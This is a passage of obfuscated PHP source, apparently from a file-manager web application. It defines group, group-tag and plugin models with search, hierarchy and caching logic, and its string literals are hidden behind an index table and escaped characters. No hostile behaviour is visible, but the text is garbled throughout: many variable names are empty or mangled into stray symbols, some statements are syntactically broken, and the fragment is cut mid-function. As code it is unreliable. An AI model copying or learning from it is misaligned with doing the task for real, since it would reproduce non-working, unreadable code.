$񍬹[403]); $ = array_diff($, $͎); if (!$) { return; } $ = array($񍬹[403] => array($񍬹[7], $)); $갦 = $this->field($)->where($)->select(); if (!$갦) { return; } $߁ѥ = array(); foreach ($갦 as $ƺ) { if ($this->_listSearchFilter($ƺ, $)) { $߁ѥ[] = $ƺ; } } $ݠذ[$񍬹[364]] = array_merge($߁ѥ, $ݠذ[$񍬹[364]]); $ݠذ[$񍬹[361]][$񍬹[362]] += count($߁ѥ); } private function _listSearchFilter($؏, $ڄ) { $ɼ =& $_SERVER[㫙]; $ݨ = $؏[$ɼ[411]] == $ɼ[89]; if (!strstr($؏[$ɼ[521]], $ɼ[50] . $ڄ[$ɼ[498]] . $ɼ[50])) { return !1; } if (isset($ڄ[$ɼ[413]]) && $ڄ[$ɼ[413]] != $ɼ[1872]) { if ($ڄ[$ɼ[413]] == $ɼ[79] && !$ݨ) { return !1; } if ($ڄ[$ɼ[413]] != $ɼ[79] && $ݨ) { return !1; } if (!strstr($؏[$ɼ[167]], $ɼ[50] . $ڄ[$ɼ[413]] . $ɼ[50])) { return !1; } } if (isset($ڄ[$ɼ[2069]]) && $ڄ[$ɼ[2069]] < $؏[$ɼ[80]]) { return !1; } if (isset($ڄ[$ɼ[2070]]) && $ڄ[$ɼ[2070]] > $؏[$ɼ[80]]) { return !1; } if (isset($ڄ[$ɼ[594]]) && $ڄ[$ɼ[594]] != $؏[$ɼ[454]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5000) { $ =& $_SERVER[㫙]; $Ǟ = array(); $ = $this->sourceInfo($); $ = array($[521] => array($[378], $[$[521]] . $[$[403]] . $[545])); $̼ = $this->field($[80])->where($)->limit($ + 1)->select(); $繆 = is_array($̼) ? count($̼) : 0; if ($繆 > $) { return $this->_listSearchChildrenNear($, $); } $嘦ä = $this->field($[403])->where($)->select(); $Ǟ = array_to_keyvalue($嘦ä, $[12], $[403]); return $Ǟ; } private function _listSearchChildrenNear($, $) { $Ѡ =& $_SERVER[㫙]; $ܢݝ = array(); $ƍ建 = array($Ѡ[498] => $); $ = $this->field($Ѡ[2071])->where($ƍ建)->select(); $; = array_to_keyvalue(array_filter_by_field($, $Ѡ[411], $Ѡ[89]), $Ѡ[12], $Ѡ[403]); $ܢݝ = array_merge($ܢݝ, array_to_keyvalue($, $Ѡ[12], $Ѡ[403])); if (!$;) { return $ܢݝ; } $ƍ建 = array($Ѡ[498] => array($Ѡ[7], $;)); $ = $this->field($Ѡ[2071])->where($ƍ建)->limit($)->select(); $ܢݝ = array_merge($ܢݝ, array_to_keyvalue($, $Ѡ[12], $Ѡ[403])); $ܢݝ = array_slice($ܢݝ, 0, $); return $ܢݝ; } private function _listSearchBindPinyin($Ґ, &$ñ, &$ޗ) { $ =& $_SERVER[㫙]; if (!isset($Ґ[$[1909]]) || !$Ґ[$[1909]]) { return; } if (!Input::check($Ґ[$[1909]], $[313]) || strlen($Ґ[$[1909]]) < 2) { return; } $ = "\114\x45\x46\x54\40\x4a\117\x49\x4e\x20{$this->tablePrefix}\x69\157\137\163\157\165\162\143\145\137\x6d\145\x74\x61\40\x6d\x65\x74\141\x20\157\x6e\40\x73\x6f\x75\162\143\x65\56\x73\x6f\x75\x72\143\x65\111\x44\x20\75\40\x6d\145\164\141\x2e\x73\157\165\162\x63\x65\111\104"; $͓ = array(); $ޗ = str_replace(array($[226], $[53], $[2072]), $[12], $ޗ); $ޗ = $[436] . str_replace($[50], $[437], $ޗ); $ = $ñ[$[32]]; unset($ñ[$[32]]); foreach ($ñ as $ީ => $) { $͓[$[436] . $ީ] = $; } foreach ($ as $삊Ԟ) { $͓[] = array($[441] => $삊Ԟ, $[996] => $[1913], array($[2073] => $삊Ԟ, $[2074] => array($[7], array($[464], $[463])))); } $this->join($); $ñ = $͓; } private function _parseSearchWhere($) { $ͩ =& $_SERVER[㫙]; $ = array(); if (isset($[$ͩ[762]]) && $[$ͩ[762]]) { $[$ͩ[86]] = array($ͩ[2075], $[$ͩ[762]]); } if (isset($[$ͩ[496]]) && $[$ͩ[496]]) { $ͷ = array($ͩ[2076], $[$ͩ[496]]); if ($[$ͩ[86]]) { $[$ͩ[86]] = array($[$ͩ[86]], $ͷ, $ͩ[2077]); } else { $[$ͩ[86]] = $ͷ; } } if (isset($[$ͩ[2069]]) && $[$ͩ[2069]] > 0) { $[$ͩ[80]] = array($ͩ[2075], $[$ͩ[2069]]); } if (isset($[$ͩ[2070]]) && $[$ͩ[2070]]) { $ͷ = array($ͩ[2076], $[$ͩ[2070]]); if ($[$ͩ[80]]) { $[$ͩ[80]] = array($[$ͩ[80]], $ͷ, $ͩ[2077]); } else { $[$ͩ[80]] = $ͷ; } } if (isset($[$ͩ[594]]) && $[$ͩ[594]]) { $[] = array($ͩ[454] => $[$ͩ[594]], $ͩ[452] => $[$ͩ[594]], $ͩ[996] => $ͩ[1913]); } if (isset($[$ͩ[413]]) && $[$ͩ[413]]) { $ = $[$ͩ[413]]; if ($ == $ͩ[79]) { $[$ͩ[411]] = 1; } else { if ($ == $ͩ[2078]) { $[$ͩ[411]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($ͩ[50], $); $[$ͩ[413]] = array($ͩ[419], $); $[$ͩ[411]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$ͩ[1909]]) && trim($[$ͩ[1909]])) { $DŽ߰ = trim($[$ͩ[1909]]); $ = explode($ͩ[53], $DŽ߰); if (strlen($DŽ߰) > 2 && (substr($DŽ߰, 0, 1) == $ͩ[117] && substr($DŽ߰, -1) == $ͩ[117]) || substr($DŽ߰, 0, 1) == $ͩ[58] && substr($DŽ߰, -1) == $ͩ[58]) { $DŽ߰ = substr($DŽ߰, 1, -1); $ = array($DŽ߰); } $[$ͩ[32]] = array(array($ͩ[544], $ͩ[1911] . $DŽ߰ . $ͩ[1911])); if (count($) > 1) { $[$ͩ[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$ͩ[32]][] = array($ͩ[544], $ͩ[1911] . trim($) . $ͩ[1911]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[㫙]; if (!isset($[$[498]]) || !$[$[498]]) { return; } $ = $this->pathInfo($[$[498]]); $Ѻ = $[$[498]] . $[12] === $[190]; $ = $[$[412]] == $[515]; $[$[584]] = array($[544], $[$[521]] . $[$[498]] . $[545]); $⭣ = isset($[$[1777]]) && in_array($[515], $[$[1777]]); if (!$⭣ || !$ || !$Ѻ || !$[$[414]]) { return; } if (!AuthModel::authCheckRoot($[$[414]][$[415]])) { return; } $߅ = $[$[504]] . $[12]; if ($߅ == $[89]) { unset($[$[584]]); $[$[412]] = self::TYPE_GROUP; return; } $ܲ = Model($[522])->groupChildrenAll($߅); $ = count($ܲ); if ($ <= 1) { return; } $ˊ = array($[498] => 0, $[412] => self::TYPE_GROUP, $[504] => array($[7], $ܲ)); $ı = $this->field($[2079])->where($ˊ)->limit($)->select(); $[$[584]] = array(); foreach ($ı as $) { $[$[584]][] = array($[544], $[531] . $[$[403]] . $[545]); } $[$[584]][] = $[1913]; } } goto C펷; a⩨޾: class GroupModel extends ModelBase { protected $tableName = "\147\x72\157\165\x70"; protected $tableMeta = array("\164\141\142\x6c\145\x4e\141\x6d\x65" => "\x67\x72\157\165\x70\x5f\155\145\164\x61", "\x6d\145\164\141\x46\151\145\154\x64" => "\147\x72\157\165\x70\x49\104"); protected function cacheFunctionAlias($) { $ީ =& $_SERVER[㫙]; return array($ީ[1895] => array($[0], $ީ[1896]), $ީ[1897] => array($[0], $ީ[1898])); } protected function getInfo($, $ = false) { $Ϊň = $this->getInfoSimple($); if (!$Ϊň) { return !1; } if ($) { return $this->_listDataApplyItem($Ϊň); } return $this->cacheFunctionGet($_SERVER[㫙][1899], $); } protected function getInfoSimple($, $Ʒ = false) { $ =& $_SERVER[㫙]; if ($Ʒ) { $ = array($[1818] => intval($)); $׌ = $this->where($)->find(); return is_array($׌) ? $׌ : array(); } return $this->cacheFunctionGet($[1900], $); } protected function groupAdd($) { $ώ =& $_SERVER[㫙]; if (!$[$ώ[498]] && isset($[$ώ[1818]]) && $[$ώ[1818]] == 1) { if ($݇ = $this->getInfoSimple($[$ώ[1818]], !0)) { return $[$ώ[1818]]; } } else { $݇ = $this->getInfoSimple($[$ώ[498]]); if (!$݇) { return !1; } } $ǖ = $ώ[531]; if ($݇[$ώ[521]]) { $ǖ = $݇[$ώ[521]] . $݇[$ώ[1818]] . $ώ[50]; } $ = array($ώ[421] => $this->groupNameAuto($[$ώ[498]], $[$ώ[32]]), $ώ[402] => $[$ώ[498]], $ώ[584] => $ǖ, $ώ[1901] => $[$ώ[1805]], $ώ[1902] => 0, $ώ[1822] => 0); if (isset($[$ώ[1841]])) { $[$ώ[1841]] = $[$ώ[1841]]; } else { $Ѽ = $this->max($ώ[1841]); if (!$Ѽ) { $Ѽ = 0; } $[$ώ[1841]] = $Ѽ + 1; } if (!empty($[$ώ[1818]])) { $[$ώ[1818]] = $[$ώ[1818]]; } $ = $this->add($); $this->setNamePinyin($, $[$ώ[32]]); if (isset($[$ώ[1903]])) { $this->metaSet($, array($ώ[1903] => $[$ώ[1903]], $ώ[1904] => $[$ώ[1904]])); unset($[$ώ[1903]]); unset($[$ώ[1904]]); } Model($ώ[1321])->groupRootAdd($); return $; } protected function groupEdit($ౢ, $Ӷ) { $̔ =& $_SERVER[㫙]; $˛ = $this->getInfoSimple($ౢ); if (!$˛) { return !1; } if (!empty($Ӷ[$̔[498]])) { $ = $this->getInfoSimple($Ӷ[$̔[498]]); if (!$) { return !1; } if ($˛[$̔[1818]] == $[$̔[1818]]) { return !1; } if ($Ӷ[$̔[498]] != $˛[$̔[498]]) { if ($[$̔[521]] !== $˛[$̔[521]] && strpos($[$̔[521]], $˛[$̔[521]] . $˛[$̔[1818]] . $̔[50]) === 0) { return !1; } $Ӷ[$̔[584]] = $[$̔[521]] . $Ӷ[$̔[498]] . $̔[50]; $this->_changeChildLevel($˛, $); } } if (isset($Ӷ[$̔[32]])) { $this->setNamePinyin($ౢ, $Ӷ[$̔[32]]); } if (isset($Ӷ[$̔[1903]])) { $this->metaSet($ౢ, array($̔[1903] => $Ӷ[$̔[1903]], $̔[1904] => $Ӷ[$̔[1904]])); unset($Ӷ[$̔[1903]]); unset($Ӷ[$̔[1904]]); } $this->_clearChildrenCache($˛); return $this->where(array($̔[1905] => $ౢ))->save($Ӷ); } private function _clearChildrenCache($) { $ɭ =& $_SERVER[㫙]; $ = array($ɭ[584] => array($ɭ[544], $[$ɭ[521]] . $[$ɭ[1818]] . $ɭ[545])); $ء = $this->field($ɭ[1818])->where($)->select(); foreach ($ء as $̡) { $this->_clearCache($̡[$ɭ[1818]]); } } private function _clearCache($) { $ =& $_SERVER[㫙]; $this->cacheFunctionClear($[1899], $); $this->cacheFunctionClear($[1900], $); } private function _changeChildLevel($Ώ, $ڠ, $߻ = false) { $ =& $_SERVER[㫙]; $ = $Ώ[$[521]] . $Ώ[$[1818]] . $[50]; $ = $ڠ[$[521]] . $ڠ[$[1818]] . $[50] . $Ώ[$[1818]] . $[50]; if ($߻) { $ = $ڠ[$[521]] . $ڠ[$[1818]] . $[50]; } $Ԣ = array($[584] => array($[544], $Ώ[$[521]] . $Ώ[$[1818]] . $[545])); $ρ = array($[584] => array($[593], "\162\145\x70\x6c\141\143\145\50\160\141\162\x65\156\x74\114\145\166\145\154\54\47{$}\x27\54\47{$}\x27\51")); $this->_clearChildrenCache($Ώ); $this->where($Ԣ)->data($ρ)->save(); } public function setNamePinyin($ǭ, $懁 = false) { $ =& $_SERVER[㫙]; if (!$懁) { $ṟ = $this->getInfoSimple($ǭ); $懁 = $ṟ[$[32]]; } if (!Input::check($懁, $[587])) { $this->metaSet($ǭ, $[464], null); $this->metaSet($ǭ, $[463], null); return; } $޽ž = array($[464] => str_replace($[53], $[12], Pinyin::get($懁)), $[463] => Pinyin::get($懁, $[588])); $this->metaSet($ǭ, $޽ž); } protected function groupStatus($, $񩯎) { $ր =& $_SERVER[㫙]; $ϭ栴 = $this->getInfoSimple($); if (!$ϭ栴) { return !1; } if ($񩯎 == $ր[89]) { $ = $this->parentLevelArray($ϭ栴[$ր[521]]); } else { $ = array($ր[584] => array($ր[544], $ϭ栴[$ր[521]] . $ϭ栴[$ր[1818]] . $ր[545])); $ = $this->where($)->field($ր[1818])->select(); $ = array_to_keyvalue($, $ր[12], $ր[1818]); } $[] = $ϭ栴[$ր[1818]]; $ں = array(); foreach ($ as $) { $ں[] = array($ր[1818] => $, $ր[95] => $ր[751], $ր[369] => $񩯎); $this->_clearCache($); } return Model($ր[1906])->addAll($ں, array(), !0); } protected function groupRemove($큽) { $ =& $_SERVER[㫙]; $灱 = array($[1818] => $큽); $ = $this->where($灱)->find(); if (!$ || $[$[498]] == 0) { return !1; } $ = $this->getInfoSimple($[$[498]]); $this->_changeChildLevel($, $, !0); $this->where(array($[498] => $큽))->save(array($[498] => $[$[498]])); Model($[1906])->where($灱)->delete(); Model($[1907])->where($灱)->delete(); Model($[826])->groupRootRemove($큽); return $this->where($灱)->delete(); } protected function groupSort($) { $ =& $_SERVER[㫙]; $Ĵ = array(); foreach ($ as $ => $炑) { $Ĵ[] = array($[1818], $炑, $[1841], $ + 1); } $this->saveAll($Ĵ); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[㫙][364]]); return $; } private function _makeOrder($ = '') { $ȍ =& $_SERVER[㫙]; $ɘ = array($ȍ[1818], $ȍ[32], $ȍ[1807], $ȍ[193]); $Қ = array($ȍ[448] => $ȍ[449], $ȍ[450] => $ȍ[451]); $Ҙ = Input::get($ȍ[455], $ȍ[7], $ȍ[1822], $ɘ); $” = Input::get($ȍ[456], $ȍ[7], $ȍ[1908], array($ȍ[1908], $ȍ[450])); $” = $Қ[$”]; $ = $ . "{$Ҙ}\x20{$”}\x2c\40\147\162\157\x75\160\111\104\40\141\x73\143"; return $this->order($); } public function listChild($̰) { $硉 =& $_SERVER[㫙]; $ = $this->where(array($硉[498] => $̰))->_makeOrder()->selectPage(200); $this->_listDataApply($[$硉[364]]); return $; } public function listByID($ޠ) { $ =& $_SERVER[㫙]; if (!$ޠ) { return array(); } $ = array($[1818] => array($[7], $ޠ)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1818], $ޠ); $this->_listDataApply($); return $; } public function listSearch($Ÿ) { $ =& $_SERVER[㫙]; $ = $Ÿ[$[1909]]; $ = isset($Ÿ[$[1910]]) ? $Ÿ[$[1910]] : !1; if (!trim($)) { return !1; } $ = str_replace($[1911], $[1912], $); $ގ = array($[1818] => array($[378], "{$}\45"), $[32] => array($[378], "\45{$}\45"), $[996] => $[1913]); if ($) { $ۅͫ = $this->getInfoSimple($); $ = $ۅͫ[$[521]] . $ . $[545]; $ގ = array($ގ, array($[521] => array($[378], $))); } $ގ = $this->parseWhereLike($ގ); $濔 = $this->_makeOrder()->where($ގ)->selectPage(20); $濔 = $濔 ? $濔 : array($[364] => array(), $[361] => array()); if (!$濔 || count($濔[$[364]]) < 5 && Input::check($, $[313])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($[463], $, 10, $); $ = $this->_searchFromMeta($[464], $, 10, $); $ = array_merge($, $, $濔[$[364]]); $濔[$[364]] = array_unique_by_key($, $[1818]); $濔[$[361]][$[362]] = count($濔[$[364]]); $濔[$[361]][$[363]] = ceil($濔[$[361]][$[362]] / $濔[$[361]][$[358]]); } $this->_listDataApply($濔[$[364]]); return $濔; } protected function groupChildrenAll($̡ʷ) { $޿ =& $_SERVER[㫙]; if (!$̡ʷ) { return !1; } if (is_string($̡ʷ)) { $̡ʷ = array($̡ʷ); } $滼 = $̡ʷ; foreach ($̡ʷ as $) { $餉 = $this->getInfoSimple($); $ퟳ = array($޿[521] => array($޿[378], $餉[$޿[521]] . $ . $޿[545])); $ = $this->field($޿[1818])->where($ퟳ)->select(); $滼 = array_merge($滼, array_to_keyvalue($, $޿[12], $޿[1818])); } return array_unique($滼); } private function _searchFromMeta($㕍, $܃ɽ, $Ƴ܃, $) { $ =& $_SERVER[㫙]; $܃ɽ = strtolower($܃ɽ); $ؼ = array($[95] => $㕍, $[369] => array($[378], "\x25{$܃ɽ}\45")); $ؼ = $this->parseWhereLike($ؼ); if ($) { $ؼ[$[1818]] = array($[7], $); } $ = Model($[1914])->where($ؼ)->limit($Ƴ܃)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1818]); $ = $this->where(array($[1905] => array($[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($ݿ鷑) { $ = array($ݿ鷑); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$Թ) { $ =& $_SERVER[㫙]; if (!$Թ) { return; } $ = array_to_keyvalue($Թ, $[12], $[1818]); $this->_listAppendChildren($Թ); $this->_listAppendChildrenMember($Թ); $this->_listAppendMeta($Թ, $); $this->_listAppendParent($Թ); $this->_listAppendSourceRoot($Թ, $); } private function _listAppendChildren(&$) { $ =& $_SERVER[㫙]; $ӌ = array_to_keyvalue($, $[12], $[1818]); $ꄖ = array($[498] => array($[7], $ӌ)); $ = array($[498], $[1915] => $[500]); $ϧ = $this->field($)->where($ꄖ)->group($[498])->select(); $صܐ = array_to_keyvalue($ϧ, $[498], $[500]); foreach ($ as &$̡) { $ = $̡[$[1818]]; $̡[$[1916]] = isset($صܐ[$]) ? intval($صܐ[$]) : !1; } unset($̡); } private function _listAppendChildrenMember(&$ل) { $ =& $_SERVER[㫙]; $܁ = array_to_keyvalue($ل, $[12], $[1818]); $ = array($[1818] => array($[7], $܁)); $ܜ = array($[1818], $[1915] => $[500]); $ = Model($[1907])->field($ܜ)->where($)->group($[1818])->select(); $ҹ = array_to_keyvalue($, $[1818], $[500]); foreach ($ل as &$ș) { $ = $ș[$[1818]]; $ș[$[1917]] = isset($ҹ[$]) ? intval($ҹ[$]) : !1; } unset($ș); } private function _listAppendMeta(&$, $ڮ) { $˿ =& $_SERVER[㫙]; $ݏ = array($˿[1818] => array($˿[7], $ڮ)); $ẓ = Model($˿[1906])->where($ݏ)->select(); $ẓ = array_to_keyvalue_group($ẓ, $˿[1818]); foreach ($ẓ as &$ɠ) { $ɠ = array_to_keyvalue($ɠ, $˿[95], $˿[369]); } unset($ɠ); foreach ($ as &$㞹) { $㞹[$˿[465]] = array(); if (isset($ẓ[$㞹[$˿[1818]]])) { $㞹[$˿[465]] = $ẓ[$㞹[$˿[1818]]]; } } unset($㞹); } protected function parentLevelArray($) { $ེ =& $_SERVER[㫙]; $ = explode($ེ[50], trim($, $ེ[50])); $ = array_remove_value($, $ེ[190]); return $; } private function _listAppendParent(&$쌘) { $ˠֈ =& $_SERVER[㫙]; $ן = array(); foreach ($쌘 as &$ߟ൨) { $ן[$ߟ൨[$ˠֈ[1818]]] = $ߟ൨[$ˠֈ[32]]; $َ = $this->parentLevelArray($ߟ൨[$ˠֈ[521]]); foreach ($َ as $ۅ̿) { if (!isset($ן[$ۅ̿])) { $ן[$ۅ̿] = 0; } } } unset($ߟ൨); foreach ($ן as $ => $) { if ($) { continue; } $׭ = $this->getInfoSimple($); $ן[$] = $׭[$ˠֈ[32]]; } $ɓ = $GLOBALS[$ˠֈ[6]][$ˠֈ[90]][$ˠֈ[1918]]; if ($GLOBALS[$ˠֈ[505]] == $ˠֈ[89]) { $ɓ = !1; } foreach ($쌘 as &$ߟ൨) { $َ = $this->parentLevelArray($ߟ൨[$ˠֈ[521]]); $ó = $ˠֈ[12]; foreach ($َ as $ => $ۅ̿) { if ($ɓ && $ == 0) { continue; } $ó .= $ן[$ۅ̿] . $ˠֈ[8]; } if ($َ) { $ó .= $ߟ൨[$ˠֈ[32]]; } $ߟ൨[$ˠֈ[526]] = str_replace($ˠֈ[529], $ˠֈ[8], $ó); } unset($ߟ൨); } private function _listAppendSourceRoot(&$, $汆) { $ =& $_SERVER[㫙]; $Ș = Model($[826])->listSourceRoot(SourceModel::TYPE_GROUP, $汆); $Ș = array_to_keyvalue($Ș, $[504]); $Ș = array_remove_key($Ș, $[504]); foreach ($ as &$ۄ) { $ۄ[$[87]] = $Ș[$ۄ[$[1818]]] ? $Ș[$ۄ[$[1818]]] : array(); } unset($ۄ); } protected function groupMerge($) { $ = array_values(array_unique($)); $奉 = array(); for ($Ѣ = 0; $Ѣ < count($); $Ѣ++) { $Ɠʃ = !1; for ($ؘ˸ = 0; $ؘ˸ < count($); $ؘ˸++) { if ($Ѣ == $ؘ˸) { continue; } if ($this->isParentOf($[$ؘ˸], $[$Ѣ])) { $Ɠʃ = !0; break; } } if (!$Ɠʃ) { $奉[] = $[$Ѣ]; } } return $奉; } protected function isParentOf($Ӻ, $) { $ة =& $_SERVER[㫙]; if (!$Ӻ || !$ || $Ӻ == $) { return !1; } $Ⱥ = $this->getInfoSimple($Ӻ); $ = $this->getInfoSimple($); $ڃ = $Ⱥ[$ة[521]] . $Ӻ . $ة[50]; if (substr($[$ة[521]], 0, strlen($ڃ)) == $ڃ) { return !0; } return !1; } public function groupShowRoot($Л샓, $ = false) { $ތĔ =& $_SERVER[㫙]; $규 = $this->getInfo($Л샓); if (!$규) { return array(); } $ٮ = $this->parentLevelArray($규[$ތĔ[521]]); $ = array($Л샓); if (count($ٮ) == 0) { return $; } if ($ && count($ٮ) == 1) { return $; } if (!$규[$ތĔ[465]] || !isset($규[$ތĔ[465]][$ތĔ[1903]]) || $규[$ތĔ[465]][$ތĔ[1903]] == $ތĔ[1872]) { return $this->groupShowRoot($ٮ[count($ٮ) - 1], $); } if ($규[$ތĔ[465]][$ތĔ[1903]] == $ތĔ[352]) { $ƻ = explode($ތĔ[50], $규[$ތĔ[465]][$ތĔ[1904]]); if ($ƻ) { $ = array_merge($, $ƻ); } } return $; } protected function resetParentLevel() { $Ū =& $_SERVER[㫙]; $ރ = $Ū[1818]; $۹ = $this->select(); $۹ = array_to_keyvalue($۹, $ރ); foreach ($۹ as $) { $י = $; $Є = array(); while ($י[$Ū[498]] != 0) { $Є[] = $י[$Ū[498]]; $י = $۹[$י[$Ū[498]]]; } $Є[] = 0; $Є = $Ū[50] . implode($Ū[50], array_reverse($Є)) . $Ū[50]; $this->setNamePinyin($[$ރ], $[$Ū[32]]); $this->where(array($ރ => $[$ރ]))->save(array($Ū[584] => $Є)); } return $۹; } public function groupNameAuto($˓, $) { $̾ =& $_SERVER[㫙]; $ = $this->where(array($̾[402] => $˓))->getField($̾[32], !0); if (!$ || !in_array($, $)) { return $; } for ($݋ȹ = 1; $݋ȹ <= count($) + 1; $݋ȹ++) { $ = $ . "\50{$݋ȹ}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($, $ɟ) { $¼ =& $_SERVER[㫙]; $‰ = array($¼[1818] => array($¼[7], array($, $ɟ))); $ՠʰ = $this->where($‰)->select(); $ՠʰ = array_to_keyvalue($ՠʰ, $¼[1818]); if (!isset($ՠʰ[$]) || !isset($ՠʰ[$ɟ]) || $ՠʰ[$][$¼[498]] == 0) { return !1; } $‰ = array($¼[1818] => $); $Ԏ = Model($¼[1907])->where($‰)->select(); if (!$Ԏ) { $Ԏ = array(); } foreach ($Ԏ as $⑬) { $ = $⑬[$¼[1650]]; $‰ = array($¼[1650] => $, $¼[1818] => $ɟ); $ = Model($¼[1907])->where($‰)->find(); if (!$) { $ɴՇ = array($ɟ => $⑬[$¼[1919]]); Model($¼[538])->userGroupAdd($, $ɴՇ); } Model($¼[538])->userGroupRemove($, $); } $‰ = array($¼[412] => 2, $¼[498] => 0, $¼[411] => 1, $¼[504] => array($¼[7], array($, $ɟ))); $ͱ = Model($¼[826])->where($‰)->field($¼[1920])->select(); $ͱ = array_to_keyvalue($ͱ, $¼[504], $¼[403]); $ = !empty($ͱ[$]) ? $ͱ[$] : !1; if ($) { if (!$ͱ[$ɟ]) { $ͱ[$ɟ] = Model($¼[826])->groupRootAdd($ɟ); } $ڞ = $ͱ[$ɟ]; $‰ = array($¼[498] => $); $ͱ = Model($¼[826])->where($‰)->field($¼[1921])->select(); if (!$ͱ) { $ͱ = array(); } Model($¼[826])->moveClearAuth = !1; foreach ($ͱ as $) { $՚ = $[$¼[411]] == $¼[89] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($¼[826])->move($[$¼[403]], $ڞ, $՚); } Model($¼[826])->moveClearAuth = !0; $‰ = array($¼[412] => 2, $¼[504] => $); $پ = array($¼[504] => $ɟ); Model($¼[1922])->where($‰)->save($پ); Model($¼[1923])->where($‰)->save($پ); } $this->_changeChildLevel($ՠʰ[$], $ՠʰ[$ɟ], !0); $this->where(array($¼[498] => $))->save(array($¼[498] => $ɟ)); $this->_clearChildrenCache($ՠʰ[$ɟ]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\x5f\x66\141\x76"; protected function cacheFunctionAlias($ť) { $Ȉ =& $_SERVER[㫙]; return array($Ȉ[1924] => array($ť[0], $Ȉ[1925]), $Ȉ[1926] => array($ť[0], $Ȉ[1927])); } protected function get($ʳ) { $ =& $_SERVER[㫙]; $ݷ = Model($[522])->metaGet($ʳ, $[1928]); $Ǽ = json_decode($ݷ, !0); return $Ǽ ? $Ǽ : array($[1929] => $[89], $[364] => array()); } protected function set($ȓ, $ڙű) { $ݚ =& $_SERVER[㫙]; $ڙű = $ڙű ? $ڙű : array($ݚ[1929] => $ݚ[89], $ݚ[364] => array()); Model($ݚ[522])->metaSet($ȓ, $ݚ[1928], json_encode($ڙű)); return Model($ݚ[522])->metaSet($ȓ, $ݚ[1928], json_encode($ڙű)); } protected function getByTagID($, $θδ) { $Λ =& $_SERVER[㫙]; if (!$ || !$θδ) { return !1; } if (!Model($Λ[522])->getInfoSimple($)) { return !1; } $с = $this->get($); if (!$с || !isset($с[$Λ[364]])) { return !1; } $ = array_find_by_field($с[$Λ[364]], $Λ[392], $θδ); return is_array($) ? $ : !1; } public function listSource($, $) { $ׄԨ =& $_SERVER[㫙]; if ($ && !is_array($)) { $ = array($); } $㔊 = $this->listData($); $ = array(); foreach ($㔊 as $) { $ = $[$ׄԨ[78]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$ׄԨ[427]]; } $ = array(); foreach ($ as $ɍ => $⤪) { $ = !0; if (!$) { $[] = $ɍ; continue; } foreach ($ as $܈) { if (!in_array($܈, $⤪)) { $ = !1; break; } } if ($) { $[] = $ɍ; } } if (!$) { return array(); } $ԁ = array($ׄԨ[418] => array($ׄԨ[419], $), $ׄԨ[504] => $, $ׄԨ[412] => SourceModel::TYPE_GROUP); $أ = Model($ׄԨ[1321])->listSource($ԁ); if (!$أ || count($) == $أ[$ׄԨ[361]][$ׄԨ[362]]) { return $أ; } $· = array(); $ = array_to_keyvalue($أ[$ׄԨ[77]], $ׄԨ[12], $ׄԨ[403]); $ = array_to_keyvalue($أ[$ׄԨ[76]], $ׄԨ[12], $ׄԨ[403]); $« = array_merge($, $); foreach ($ as $) { if (!in_array($, $«)) { $·[] = $; } } if ($·) { $this->removeBySource($, $·); } return $أ; } protected function listData($ݭ) { $բ =& $_SERVER[㫙]; $ = array($բ[1641] => 0, $բ[483] => array($բ[1930], 0), $բ[423] => $բ[1931] . $ݭ); $ = $բ[1932]; $㠹 = $this->field($)->where($)->order($բ[1933])->select(); return $㠹 ? $㠹 : array(); } protected function addToTag($Ȟ, $, $IJ) { $ =& $_SERVER[㫙]; if (!$this->getByTagID($Ȟ, $IJ) || !$) { return !1; } if (!Model($[826])->pathInfo($)) { return !1; } $ = array($[1641] => 0, $[483] => $IJ, $[422] => $, $[423] => $[1934] . $Ȟ, $[421] => $[12], $[1822] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($б, $Յ, $֢) { $ =& $_SERVER[㫙]; if (!$this->getByTagID($б, $֢) || !$Յ) { return !1; } if (is_array($Յ)) { $Յ = array($[7], $Յ); } $ = array($[1641] => 0, $[483] => $֢, $[423] => $[1934] . $б, $[422] => $Յ); return $this->where($)->delete(); } protected function removeByTag($ʐ, $ߢ) { $̪ =& $_SERVER[㫙]; if (!$this->getByTagID($ʐ, $ߢ)) { return !1; } $ = array($̪[1641] => 0, $̪[483] => $ߢ, $̪[423] => $̪[1934] . $ʐ); return $this->where($)->delete(); } protected function removeBySource($, $) { $ =& $_SERVER[㫙]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1641] => 0, $[422] => $, $[483] => array($[1010], 0), $[423] => $[1934] . $); return $this->where($)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\x6d\x2e\160\154\165\147\151\x6e\x4c\151\163\164"; public $field = array("\156\x61\x6d\145", "\x73\164\141\164\165\x73", "\x72\x65\147\x69\x65\x73\164", "\143\x6f\x6e\146\x69\x67"); public function loadList($ = false) { $Ԫ = array_to_keyvalue($this->listData(), $_SERVER[㫙][32]); if ($) { return $Ԫ[$]; } return $Ԫ; } public function init() { $¶ =& $_SERVER[㫙]; Hook::trigger($¶[1935]); $ = $this->loadPluginList(); foreach ($ as $ㅑ => $ߣ) { $ = $this->appAllow($ㅑ, $ߣ); if (!$) { continue; } foreach ($ߣ[$¶[1936]] as $ˌ => $׹) { Hook::bind($ˌ, $׹); } } Hook::trigger($¶[1937]); Hook::trigger(ACTION); } public function appAllow($¡, $ơѤ, $٭ = true) { $Ӟ =& $_SERVER[㫙]; $ = PLUGIN_DIR . $¡ . $Ӟ[1938]; if (!is_array($ơѤ) || !is_array($ơѤ[$Ӟ[1936]]) || $ơѤ[$Ӟ[751]] != 1 || !is_file($)) { return !1; } if ($GLOBALS[$Ӟ[505]] == 1) { return !0; } if ($٭ && 